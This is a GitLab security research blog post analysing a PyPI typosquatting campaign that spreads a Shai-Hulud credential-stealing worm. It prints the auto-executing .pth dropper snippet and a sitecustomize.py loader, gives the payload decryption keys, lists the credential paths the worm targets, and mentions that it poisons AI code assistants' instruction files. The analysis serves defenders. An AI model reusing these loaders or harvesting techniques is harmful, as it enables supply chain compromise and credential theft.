[{"data":1,"prerenderedAt":1819},["ShallowReactive",2],{"/en-us/blog/shai-hulud-copycat-campaign-targets-python-developers":3,"navigation-en-us":1037,"banner-en-us":1453,"footer-en-us":1461,"blog-post-authors-en-us-Dinesh Bolkensteyn|Daniel Abeles":1704,"blog-related-posts-en-us-shai-hulud-copycat-campaign-targets-python-developers":1731,"blog-promotions-en-us":1756,"next-steps-en-us":1809},{"id":4,"title":5,"authors":6,"body":9,"category":1018,"date":1019,"description":1020,"extension":1021,"externalUrl":1022,"featured":1023,"heroImage":1024,"meta":1025,"navigation":1023,"path":1026,"seo":1027,"slug":1030,"stem":1031,"tags":1032,"template":1035,"updatedDate":1022,"__hash__":1036},"blogPosts/en-us/blog/shai-hulud-copycat-campaign-targets-python-developers.md","Shai-Hulud copycat campaign targets Python developers through PyPI typosquatting",[7,8],"Dinesh Bolkensteyn","Daniel Abeles",{"type":10,"value":11,"toc":1003},"minimark",[12,23,26,31,39,74,83,86,95,99,104,122,184,191,213,283,289,293,296,333,336,339,393,397,400,493,497,500,531,535,548,555,571,575,790,794,797,822,826,937,941,954,963,971,975,984,987,999],[13,14,15,16,22],"p",{},"GitLab's Vulnerability Research team has identified a coordinated supply chain attack on PyPI deploying a copy of the ",[17,18,21],"a",{"href":19,"rel":20},"https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/",[],"Shai-Hulud"," malware. We found five malicious packages: four typosquats impersonating Flask, Requests, and NumPy, and one weaponized legitimate project. The packages execute code at install time, with no import or function call required, and carry a self-propagating credential stealer that targets CI/CD environments across all major cloud providers.",[13,24,25],{},"We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.",[27,28,30],"h2",{"id":29},"inside-the-attack","Inside the attack",[13,32,33,34,38],{},"Our monitoring systems flagged five malicious PyPI packages from a single account (",[35,36,37],"code",{},"elitexp",") on June 7, 2026. Four are typosquats:",[40,41,42,58,66],"ul",{},[43,44,45,51,52,57],"li",{},[46,47,48],"strong",{},[35,49,50],{},"rlask"," and ",[46,53,54],{},[35,55,56],{},"tlask",", typosquats of Flask",[43,59,60,65],{},[46,61,62],{},[35,63,64],{},"rsquests",", a typosquat of Requests",[43,67,68,73],{},[46,69,70],{},[35,71,72],{},"nhmpy",", a typosquat of NumPy",[13,75,76,77,82],{},"The fifth, ",[46,78,79],{},[35,80,81],{},"mflux-streamlit",", is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.",[13,84,85],{},"The attacker published clean \"probe\" versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.",[13,87,88,89,94],{},"This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, ",[17,90,93],{"href":91,"rel":92},"https://ramimac.me/teampcp/",[],"open-sourced the worm's code"," on May 12, 2026. We've been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.",[27,96,98],{"id":97},"technical-analysis","Technical analysis",[100,101,103],"h3",{"id":102},"initial-infection-vector","Initial infection vector",[13,105,106,107,110,111,114,115,117,118,121],{},"The original npm variant used a ",[35,108,109],{},"preinstall"," script. This campaign takes a different approach, exploiting Python's ",[35,112,113],{},".pth"," file mechanism. Wheel packages can ship ",[35,116,113],{}," files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like ",[35,119,120],{},"rlask-setup.pth"," containing a one-liner dropper:",[123,124,129],"pre",{"className":125,"code":126,"language":127,"meta":128,"style":128},"language-py shiki shiki-themes github-light","import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),\".bun_ran\");\n_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')\n","py","",[35,130,131,162],{"__ignoreMap":128},[132,133,136,140,144,147,150,152,155,159],"span",{"class":134,"line":135},"line",1,[132,137,139],{"class":138},"sD7c4","import",[132,141,143],{"class":142},"sgsFI"," os ",[132,145,146],{"class":138},"as",[132,148,149],{"class":142}," _O,tempfile ",[132,151,146],{"class":138},[132,153,154],{"class":142}," _T;_G=_O.path.join(_T.gettempdir(),",[132,156,158],{"class":157},"sYBdl","\".bun_ran\"",[132,160,161],{"class":142},");\n",[132,163,165,168,171,175,178,181],{"class":134,"line":164},2,[132,166,167],{"class":142},"_O.path.exists(_G)",[132,169,170],{"class":138},"or",[132,172,174],{"class":173},"sYu0t"," exec",[132,176,177],{"class":142},"(",[132,179,180],{"class":157},"'import os as _o,subprocess as _s,urllib.request as _u...'",[132,182,183],{"class":142},")\n",[13,185,186,187,190],{},"The dropper checks for a marker file (",[35,188,189],{},".bun_ran"," in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.",[13,192,193,194,196,197,200,201,204,205,208,209,212],{},"Early versions of ",[35,195,50],{}," also included a ",[35,198,199],{},"sitecustomize.py"," file as a backup execution path. Python auto-imports ",[35,202,203],{},"sitecustomize"," on startup, and this file searched ",[35,206,207],{},"sys.path"," for the hidden ",[35,210,211],{},"_index.js"," payload:",[123,214,216],{"className":125,"code":215,"language":127,"meta":128,"style":128},"import subprocess, os, sys\nfor d in sys.path:\n  js = os.path.join(d, \"_index.js\")\n  if os.path.exists(js):\n    subprocess.run([\"node\", js])\n    break\n",[35,217,218,225,239,256,265,277],{"__ignoreMap":128},[132,219,220,222],{"class":134,"line":135},[132,221,139],{"class":138},[132,223,224],{"class":142}," subprocess, os, sys\n",[132,226,227,230,233,236],{"class":134,"line":164},[132,228,229],{"class":138},"for",[132,231,232],{"class":142}," d ",[132,234,235],{"class":138},"in",[132,237,238],{"class":142}," sys.path:\n",[132,240,242,245,248,251,254],{"class":134,"line":241},3,[132,243,244],{"class":142},"  js ",[132,246,247],{"class":138},"=",[132,249,250],{"class":142}," os.path.join(d, ",[132,252,253],{"class":157},"\"_index.js\"",[132,255,183],{"class":142},[132,257,259,262],{"class":134,"line":258},4,[132,260,261],{"class":138},"  if",[132,263,264],{"class":142}," os.path.exists(js):\n",[132,266,268,271,274],{"class":134,"line":267},5,[132,269,270],{"class":142},"    subprocess.run([",[132,272,273],{"class":157},"\"node\"",[132,275,276],{"class":142},", js])\n",[132,278,280],{"class":134,"line":279},6,[132,281,282],{"class":138},"    break\n",[13,284,285,286,288],{},"The attacker dropped this backup mechanism in later versions, apparently finding the ",[35,287,113],{}," approach sufficient on its own.",[100,290,292],{"id":291},"payload-obfuscation","Payload obfuscation",[13,294,295],{},"The JavaScript payload is wrapped in three layers:",[297,298,299,316,322],"ol",{},[43,300,301,302,305,306,309,310,312,313,315],{},"A ",[46,303,304],{},"ROT-N character cipher"," applied to an integer array (the rotation value varies per package: ROT-13 for ",[35,307,308],{},"rlask@3.1.4",", ROT-17 for ",[35,311,64],{},", ROT-25 for ",[35,314,56],{},")",[43,317,318,321],{},[46,319,320],{},"AES-128-GCM encryption"," with hardcoded keys, producing two encrypted blobs",[43,323,324,325,328,329,332],{},"Standard ",[46,326,327],{},"variable-name mangling"," (",[35,330,331],{},"_0x"," prefix obfuscation) on the inner payload",[13,334,335],{},"We decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.",[13,337,338],{},"For researchers performing their own analysis, here are the AES decryption keys:",[340,341,342,359],"table",{},[343,344,345],"thead",{},[346,347,348,353,356],"tr",{},[349,350,352],"th",{"align":351},"left","Layer",[349,354,355],{"align":351},"Key",[349,357,358],{"align":351},"IV",[360,361,362,378],"tbody",{},[346,363,364,368,373],{},[365,366,367],"td",{"align":351},"Bun downloader",[365,369,370],{"align":351},[35,371,372],{},"c95506221d18936328fbc7ddcd21e3dd",[365,374,375],{"align":351},[35,376,377],{},"48da5faeafac0ac88a410bb0",[346,379,380,383,388],{},[365,381,382],{"align":351},"Worm payload",[365,384,385],{"align":351},[35,386,387],{},"7557c4e782a0622159476d1ea10d5236",[365,389,390],{"align":351},[35,391,392],{},"55a7d25e0e61b77cc175bcc3",[100,394,396],{"id":395},"credential-harvesting","Credential harvesting",[13,398,399],{},"Once running, the worm goes after credentials across every major cloud and CI/CD platform:",[40,401,402,412,422,428,434,451,457,463,469,475,481,487],{},[43,403,404,407,408,411],{},[46,405,406],{},"GitHub Actions",": ",[35,409,410],{},"GITHUB_TOKEN",", personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory",[43,413,414,417,418,421],{},[46,415,416],{},"AWS",": IAM access keys, secret keys, session tokens, IMDS instance credentials (",[35,419,420],{},"169[.]254[.]169[.]254","), Secrets Manager entries, SSM parameters, STS federation tokens",[43,423,424,427],{},[46,425,426],{},"Azure",": Client secrets, managed identity tokens, Key Vault secrets, federated credentials, Microsoft Graph API tokens",[43,429,430,433],{},[46,431,432],{},"GCP",": Service account keys, application default credentials, cloud-platform scope tokens",[43,435,436,439,440,443,444,443,447,450],{},[46,437,438],{},"HashiCorp Vault",": Vault tokens from seven known filesystem paths (",[35,441,442],{},"/var/run/secrets/vault-token",", ",[35,445,446],{},"/etc/vault/token",[35,448,449],{},"/root/.vault-token",", and others), plus API access and Kubernetes Vault auth",[43,452,453,456],{},[46,454,455],{},"npm / JFrog",": npm tokens, JFrog/Artifactory API keys, OIDC token exchange",[43,458,459,462],{},[46,460,461],{},"PyPI",": Publishing tokens, OIDC mint tokens",[43,464,465,468],{},[46,466,467],{},"RubyGems",": API keys, gem publishing credentials",[43,470,471,474],{},[46,472,473],{},"SSH",": Private keys for lateral movement",[43,476,477,480],{},[46,478,479],{},"Kubernetes",": Service account tokens, kubeconfig files",[43,482,483,486],{},[46,484,485],{},"Sigstore",": OIDC tokens and Fulcio signing certificates, which would allow the attacker to sign artifacts under a trusted identity",[43,488,489,492],{},[46,490,491],{},"Databases",": MongoDB, MySQL, PostgreSQL, and Redis connection strings with embedded passwords",[100,494,496],{"id":495},"self-propagation","Self-propagation",[13,498,499],{},"Like the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:",[40,501,502,509,516,519,522],{},[43,503,504,505,508],{},"Commits ",[35,506,507],{},".github/setup.js"," and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines",[43,510,511,512,515],{},"Injects ",[35,513,514],{},".github/copilot-instructions.md"," to poison AI code assistants",[43,517,518],{},"Publishes additional poisoned packages to PyPI, npm, and RubyGems using stolen registry tokens",[43,520,521],{},"Attempts privilege escalation on self-hosted CI runners by injecting sudoers rules",[43,523,524,525,530],{},"Checks for ",[17,526,529],{"href":527,"rel":528},"https://github.com/step-security/harden-runner",[],"StepSecurity's harden-runner"," and adjusts behavior if detected",[100,532,534],{"id":533},"the-attacker","The attacker",[13,536,537,538,540,541,543,544,547],{},"All five packages are owned by the PyPI account ",[35,539,37],{},". The account was created in November 2024 with a legitimate package (",[35,542,81],{},", a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (",[35,545,546],{},"github[.]com/elitexp",") is 13+ years old with 43 public repositories, including university coursework and Laravel projects.",[13,549,550,551,554],{},"Upload metadata shows all packages were published using ",[35,552,553],{},"Bun/1.3.14"," as the user-agent, the same runtime the malware downloads as part of its execution chain.",[13,556,557,558,560,561,564,565,567,568,570],{},"The attacker also weaponized ",[35,559,81],{}," itself. Versions 0.0.1 and 0.0.2 are clean, but ",[46,562,563],{},"Versions 0.0.3 and 0.0.4",", published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same ",[35,566,113],{}," dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: ",[35,569,81],{}," is a real project with existing users who may receive the poisoned update through normal dependency resolution.",[27,572,574],{"id":573},"indicators-of-compromise","Indicators of compromise",[340,576,577,590],{},[343,578,579],{},[346,580,581,584,587],{},[349,582,583],{"align":351},"Type",[349,585,586],{"align":351},"Indicator",[349,588,589],{"align":351},"Description",[360,591,592,605,616,628,640,652,668,682,694,705,718,730,742,754,766,779],{},[346,593,594,597,602],{},[365,595,596],{"align":351},"package",[365,598,599,601],{"align":351},[35,600,50],{}," 3.1.4-3.1.7",[365,603,604],{"align":351},"Malicious Flask typosquat",[346,606,607,609,614],{},[365,608,596],{"align":351},[365,610,611,613],{"align":351},[35,612,56],{}," 3.1.4",[365,615,604],{"align":351},[346,617,618,620,625],{},[365,619,596],{"align":351},[365,621,622,624],{"align":351},[35,623,64],{}," 2.34.3",[365,626,627],{"align":351},"Malicious Requests typosquat",[346,629,630,632,637],{},[365,631,596],{"align":351},[365,633,634,636],{"align":351},[35,635,72],{}," 2.4.7",[365,638,639],{"align":351},"Malicious NumPy typosquat",[346,641,642,644,649],{},[365,643,596],{"align":351},[365,645,646,648],{"align":351},[35,647,81],{}," 0.0.3, 0.0.4",[365,650,651],{"align":351},"Weaponized legitimate package",[346,653,654,657,662],{},[365,655,656],{"align":351},"file",[365,658,659],{"align":351},[35,660,661],{},"{package}-setup.pth",[365,663,664,665,315],{"align":351},"Auto-executing dropper (SHA256: ",[35,666,667],{},"6506d317...",[346,669,670,672,676],{},[365,671,656],{"align":351},[365,673,674],{"align":351},[35,675,199],{},[365,677,678,679,681],{"align":351},"Backup auto-execution (present in ",[35,680,50],{}," only)",[346,683,684,686,691],{},[365,685,656],{"align":351},[365,687,688],{"align":351},[35,689,690],{},"{package}/_index.js",[365,692,693],{"align":351},"Obfuscated worm payload (5.2MB)",[346,695,696,698,702],{},[365,697,656],{"align":351},[365,699,700],{"align":351},[35,701,189],{},[365,703,704],{"align":351},"Execution marker in system temp directory",[346,706,707,710,715],{},[365,708,709],{"align":351},"network",[365,711,712],{"align":351},[35,713,714],{},"hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip",[365,716,717],{"align":351},"Bun runtime download",[346,719,720,722,727],{},[365,721,709],{"align":351},[365,723,724],{"align":351},[35,725,726],{},"hxxps[://]upload[.]pypi[.]org/legacy/",[365,728,729],{"align":351},"Worm publishes poisoned PyPI packages",[346,731,732,734,739],{},[365,733,709],{"align":351},[365,735,736],{"align":351},[35,737,738],{},"hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/",[365,740,741],{"align":351},"AWS IMDS credential theft",[346,743,744,746,751],{},[365,745,709],{"align":351},[365,747,748],{"align":351},[35,749,750],{},"hxxps[://]login[.]microsoftonline[.]com/",[365,752,753],{"align":351},"Azure AD token acquisition",[346,755,756,758,763],{},[365,757,709],{"align":351},[365,759,760],{"align":351},[35,761,762],{},"hxxps[://]fulcio[.]sigstore[.]dev",[365,764,765],{"align":351},"Sigstore certificate request",[346,767,768,771,776],{},[365,769,770],{"align":351},"actor",[365,772,773,775],{"align":351},[35,774,37],{}," (PyPI)",[365,777,778],{"align":351},"Package owner",[346,780,781,783,787],{},[365,782,770],{"align":351},[365,784,785],{"align":351},[35,786,553],{},[365,788,789],{"align":351},"Upload user-agent",[27,791,793],{"id":792},"what-to-do-if-youre-affected","What to do if you're affected",[13,795,796],{},"If any of these packages were installed in your environment:",[297,798,799,805,808,816,819],{},[43,800,801,802,804],{},"Remove the package immediately and check for the ",[35,803,189],{}," marker file in your system temp directory.",[43,806,807],{},"Rotate all credentials that were accessible to the environment where the package was installed. This includes CI/CD tokens, cloud provider credentials, SSH keys, and registry publishing tokens.",[43,809,810,811,443,813,815],{},"Audit your GitHub repositories for unexpected commits, especially files matching ",[35,812,507],{},[35,814,514],{},", or modified workflow files.",[43,817,818],{},"Check your package registry accounts (PyPI, npm, RubyGems) for packages you did not publish.",[43,820,821],{},"Review CI/CD pipeline logs for unexpected Bun downloads or JavaScript execution.",[27,823,825],{"id":824},"timeline","Timeline",[340,827,828,838],{},[343,829,830],{},[346,831,832,835],{},[349,833,834],{"align":351},"Date",[349,836,837],{"align":351},"Event",[360,839,840,848,862,873,881,889,900,908,916,929],{},[346,841,842,845],{},[365,843,844],{"align":351},"2026-05-12",[365,846,847],{"align":351},"TeamPCP open-sources the Shai-Hulud worm",[346,849,850,853],{},[365,851,852],{"align":351},"2026-06-07 13:47 UTC",[365,854,855,856,443,859,315],{"align":351},"Probe versions published (",[35,857,858],{},"rlask@3.1.3",[35,860,861],{},"rsquests@2.34.2",[346,863,864,867],{},[365,865,866],{"align":351},"2026-06-07 14:20 UTC",[365,868,869,870,872],{"align":351},"First malicious version (",[35,871,308],{},"), detected within 28 seconds",[346,874,875,878],{},[365,876,877],{"align":351},"2026-06-07 14:24 UTC",[365,879,880],{"align":351},"Automated analysis complete, flagged as malicious/critical",[346,882,883,886],{},[365,884,885],{"align":351},"2026-06-07 14:27-15:04 UTC",[365,887,888],{"align":351},"Six more malicious versions published across all four package names",[346,890,891,894],{},[365,892,893],{"align":351},"2026-06-07 15:23-15:37 UTC",[365,895,896,897,899],{"align":351},"Attacker weaponizes their own legitimate ",[35,898,81],{}," package (v0.0.3, v0.0.4)",[346,901,902,905],{},[365,903,904],{"align":351},"2026-06-07",[365,906,907],{"align":351},"Investigation confirms full Shai-Hulud worm via static analysis",[346,909,910,913],{},[365,911,912],{"align":351},"2026-06-07 16:01 UTC",[365,914,915],{"align":351},"All malicious packages reported to PyPI security team",[346,917,918,921],{},[365,919,920],{"align":351},"2026-06-08 03:15:06 UTC",[365,922,923,924],{"align":351},"Added the Advisory to ",[17,925,928],{"href":926,"rel":927},"https://advisories.gitlab.com/",[],"GitLab Advisory Database",[346,930,931,934],{},[365,932,933],{"align":351},"2026-06-08",[365,935,936],{"align":351},"PyPI removed all releases of the malicious packages",[27,938,940],{"id":939},"how-gitlab-can-help-you-detect-these-packages","How GitLab can help you detect these packages",[13,942,943,944,949,950,953],{},"If you are using GitLab Ultimate, you can use ",[17,945,948],{"href":946,"rel":947},"https://docs.gitlab.com/ee/user/application_security/dependency_scanning/",[],"Dependency Scanning"," to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the ",[17,951,928],{"href":926,"rel":952},[],". Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.",[13,955,956,957,962],{},"For teams managing many repositories, ",[17,958,961],{"href":959,"rel":960},"https://docs.gitlab.com/ee/user/gitlab_duo_chat/",[],"GitLab Duo Chat"," with the Security Analyst Agent can help triage quickly. Ask questions like:",[40,964,965,968],{},[43,966,967],{},"\"Are any of my dependencies affected by the Shai-Hulud PyPI campaign?\"",[43,969,970],{},"\"Does this project have any malicious Python dependencies?\"",[27,972,974],{"id":973},"looking-ahead","Looking ahead",[13,976,977,978,980,981,983],{},"We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (",[35,979,113],{}," files instead of ",[35,982,109],{}," scripts) but carries the same credential harvesting and self-propagation code underneath.",[13,985,986],{},"Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.",[988,989,990],"blockquote",{},[13,991,992,993,998],{},"Find more articles from the Vulnerability Research team on our ",[17,994,997],{"href":995,"rel":996},"https://about.gitlab.com/blog/categories/security-labs/",[],"Security Labs site",".",[1000,1001,1002],"style",{},"html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":128,"searchDepth":164,"depth":164,"links":1004},[1005,1006,1013,1014,1015,1016,1017],{"id":29,"depth":164,"text":30},{"id":97,"depth":164,"text":98,"children":1007},[1008,1009,1010,1011,1012],{"id":102,"depth":241,"text":103},{"id":291,"depth":241,"text":292},{"id":395,"depth":241,"text":396},{"id":495,"depth":241,"text":496},{"id":533,"depth":241,"text":534},{"id":573,"depth":164,"text":574},{"id":792,"depth":164,"text":793},{"id":824,"depth":164,"text":825},{"id":939,"depth":164,"text":940},{"id":973,"depth":164,"text":974},"security-labs","2026-06-09","GitLab’s Vulnerability Research team has uncovered a new Python supply chain attack targeting PyPI, deploying the Shai-Hulud worm to steal credentials from CI/CD systems.","md",null,true,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png",{},"/en-us/blog/shai-hulud-copycat-campaign-targets-python-developers",{"config":1028,"title":5,"description":1020},{"noIndex":1029},false,"shai-hulud-copycat-campaign-targets-python-developers","en-us/blog/shai-hulud-copycat-campaign-targets-python-developers",[1033,1034],"security","security releases","BlogPost","gn8kPSIi6ZESReM_L_IbKjcCE4BZQJK575NLHE2pYuE",{"logo":1038,"freeTrial":1043,"sales":1048,"login":1053,"items":1058,"search":1373,"minimal":1404,"duo":1423,"switchNav":1432,"pricingDeployment":1443},{"config":1039},{"href":1040,"dataGaName":1041,"dataGaLocation":1042},"/","gitlab logo","header",{"text":1044,"config":1045},"Get free trial",{"href":1046,"dataGaName":1047,"dataGaLocation":1042},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":1049,"config":1050},"Talk to sales",{"href":1051,"dataGaName":1052,"dataGaLocation":1042},"/sales/","sales",{"text":1054,"config":1055},"Sign in",{"href":1056,"dataGaName":1057,"dataGaLocation":1042},"https://gitlab.com/users/sign_in/","sign in",[1059,1088,1188,1193,1297,1353],{"text":1060,"config":1061,"menu":1063},"Platform",{"dataNavLevelOne":1062},"platform",{"type":1064,"columns":1065},"cards",[1066,1072,1080],{"title":1060,"description":1067,"link":1068},"The intelligent orchestration platform for DevSecOps",{"text":1069,"config":1070},"Explore our Platform",{"href":1071,"dataGaName":1062,"dataGaLocation":1042},"/platform/",{"title":1073,"description":1074,"link":1075},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":1076,"config":1077},"Meet GitLab Duo",{"href":1078,"dataGaName":1079,"dataGaLocation":1042},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":1081,"description":1082,"link":1083},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":1084,"config":1085},"Learn more",{"href":1086,"dataGaName":1087,"dataGaLocation":1042},"/why-gitlab/","why gitlab",{"text":1089,"left":1023,"config":1090,"menu":1092},"Product",{"dataNavLevelOne":1091},"solutions",{"type":1093,"link":1094,"columns":1098,"feature":1167},"lists",{"text":1095,"config":1096},"View all Solutions",{"href":1097,"dataGaName":1091,"dataGaLocation":1042},"/solutions/",[1099,1123,1146],{"title":1100,"description":1101,"link":1102,"items":1107},"Automation","CI/CD and automation to accelerate deployment",{"config":1103},{"icon":1104,"href":1105,"dataGaName":1106,"dataGaLocation":1042},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[1108,1112,1115,1119],{"text":1109,"config":1110},"CI/CD",{"href":1111,"dataGaLocation":1042,"dataGaName":1109},"/solutions/continuous-integration/",{"text":1073,"config":1113},{"href":1078,"dataGaLocation":1042,"dataGaName":1114},"gitlab duo agent platform - product menu",{"text":1116,"config":1117},"Source Code Management",{"href":1118,"dataGaLocation":1042,"dataGaName":1116},"/solutions/source-code-management/",{"text":1120,"config":1121},"Automated Software Delivery",{"href":1105,"dataGaLocation":1042,"dataGaName":1122},"Automated software delivery",{"title":1124,"description":1125,"link":1126,"items":1131},"Security","Deliver code faster without compromising security",{"config":1127},{"href":1128,"dataGaName":1129,"dataGaLocation":1042,"icon":1130},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[1132,1136,1141],{"text":1133,"config":1134},"Application Security Testing",{"href":1128,"dataGaName":1135,"dataGaLocation":1042},"Application security testing",{"text":1137,"config":1138},"Software Supply Chain Security",{"href":1139,"dataGaLocation":1042,"dataGaName":1140},"/solutions/supply-chain/","Software supply chain security",{"text":1142,"config":1143},"Software Compliance",{"href":1144,"dataGaName":1145,"dataGaLocation":1042},"/solutions/software-compliance/","software compliance",{"title":1147,"link":1148,"items":1153},"Measurement",{"config":1149},{"icon":1150,"href":1151,"dataGaName":1152,"dataGaLocation":1042},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[1154,1158,1162],{"text":1155,"config":1156},"Visibility & Measurement",{"href":1151,"dataGaLocation":1042,"dataGaName":1157},"Visibility and Measurement",{"text":1159,"config":1160},"Value Stream Management",{"href":1161,"dataGaLocation":1042,"dataGaName":1159},"/solutions/value-stream-management/",{"text":1163,"config":1164},"Analytics & Insights",{"href":1165,"dataGaLocation":1042,"dataGaName":1166},"/solutions/analytics-and-insights/","Analytics and insights",{"title":1168,"type":1093,"items":1169},"GitLab for",[1170,1176,1182],{"text":1171,"config":1172},"Enterprise",{"icon":1173,"href":1174,"dataGaLocation":1042,"dataGaName":1175},"Building","/enterprise/","enterprise",{"text":1177,"config":1178},"Small Business",{"icon":1179,"href":1180,"dataGaLocation":1042,"dataGaName":1181},"Work","/small-business/","small business",{"text":1183,"config":1184},"Public Sector",{"icon":1185,"href":1186,"dataGaLocation":1042,"dataGaName":1187},"Organization","/solutions/public-sector/","public sector",{"text":1189,"config":1190},"Pricing",{"href":1191,"dataGaName":1192,"dataGaLocation":1042,"dataNavLevelOne":1192},"/pricing/","pricing",{"text":1194,"config":1195,"menu":1197},"Resources",{"dataNavLevelOne":1196},"resources",{"type":1093,"link":1198,"columns":1202,"feature":1286},{"text":1199,"config":1200},"View all resources",{"href":1201,"dataGaName":1196,"dataGaLocation":1042},"/resources/",[1203,1236,1258],{"title":1204,"items":1205},"Getting started",[1206,1211,1216,1221,1226,1231],{"text":1207,"config":1208},"Install",{"href":1209,"dataGaName":1210,"dataGaLocation":1042},"/install/","install",{"text":1212,"config":1213},"Quick start guides",{"href":1214,"dataGaName":1215,"dataGaLocation":1042},"/get-started/","quick setup checklists",{"text":1217,"config":1218},"Learn",{"href":1219,"dataGaLocation":1042,"dataGaName":1220},"https://university.gitlab.com/","learn",{"text":1222,"config":1223},"Product documentation",{"href":1224,"dataGaName":1225,"dataGaLocation":1042},"https://docs.gitlab.com/","product documentation",{"text":1227,"config":1228},"Best practice videos",{"href":1229,"dataGaName":1230,"dataGaLocation":1042},"/getting-started-videos/","best practice videos",{"text":1232,"config":1233},"Integrations",{"href":1234,"dataGaName":1235,"dataGaLocation":1042},"/integrations/","integrations",{"title":1237,"items":1238},"Discover",[1239,1244,1249,1253],{"text":1240,"config":1241},"Customer success stories",{"href":1242,"dataGaName":1243,"dataGaLocation":1042},"/customers/","customer success stories",{"text":1245,"config":1246},"Blog",{"href":1247,"dataGaName":1248,"dataGaLocation":1042},"/blog/","blog",{"text":1250,"config":1251},"The Source",{"href":1252,"dataGaName":1248,"dataGaLocation":1042},"/the-source/",{"text":1254,"config":1255},"Remote",{"href":1256,"dataGaName":1257,"dataGaLocation":1042},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":1259,"items":1260},"Connect",[1261,1266,1271,1276,1281],{"text":1262,"config":1263},"GitLab Services",{"href":1264,"dataGaName":1265,"dataGaLocation":1042},"/services/","services",{"text":1267,"config":1268},"Community",{"href":1269,"dataGaName":1270,"dataGaLocation":1042},"/community/","community",{"text":1272,"config":1273},"Forum",{"href":1274,"dataGaName":1275,"dataGaLocation":1042},"https://forum.gitlab.com/","forum",{"text":1277,"config":1278},"Events",{"href":1279,"dataGaName":1280,"dataGaLocation":1042},"/events/","events",{"text":1282,"config":1283},"Partners",{"href":1284,"dataGaName":1285,"dataGaLocation":1042},"/partners/","partners",{"config":1287,"title":1290,"text":1291,"link":1292},{"background":1288,"textColor":1289},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":1293,"config":1294},"Read the latest",{"href":1295,"dataGaName":1296,"dataGaLocation":1042},"/whats-new/","whats new",{"text":1298,"config":1299,"menu":1301},"Company",{"dataNavLevelOne":1300},"company",{"type":1093,"columns":1302},[1303],{"items":1304},[1305,1310,1316,1318,1323,1328,1333,1338,1343,1348],{"text":1306,"config":1307},"About",{"href":1308,"dataGaName":1309,"dataGaLocation":1042},"/company/","about",{"text":1311,"config":1312,"footerGa":1315},"Jobs",{"href":1313,"dataGaName":1314,"dataGaLocation":1042},"/jobs/","jobs",{"dataGaName":1314},{"text":1277,"config":1317},{"href":1279,"dataGaName":1280,"dataGaLocation":1042},{"text":1319,"config":1320},"Leadership",{"href":1321,"dataGaName":1322,"dataGaLocation":1042},"/company/team/e-group/","leadership",{"text":1324,"config":1325},"Handbook",{"href":1326,"dataGaName":1327,"dataGaLocation":1042},"https://handbook.gitlab.com/","handbook",{"text":1329,"config":1330},"Investor relations",{"href":1331,"dataGaName":1332,"dataGaLocation":1042},"https://ir.gitlab.com/","investor relations",{"text":1334,"config":1335},"Trust Center",{"href":1336,"dataGaName":1337,"dataGaLocation":1042},"/security/","trust center",{"text":1339,"config":1340},"AI Transparency Center",{"href":1341,"dataGaName":1342,"dataGaLocation":1042},"/ai-transparency-center/","ai transparency center",{"text":1344,"config":1345},"Newsletter",{"href":1346,"dataGaName":1347,"dataGaLocation":1042},"/company/contact/#contact-forms","newsletter",{"text":1349,"config":1350},"Press",{"href":1351,"dataGaName":1352,"dataGaLocation":1042},"/press/","press",{"text":1354,"config":1355,"menu":1356},"Contact 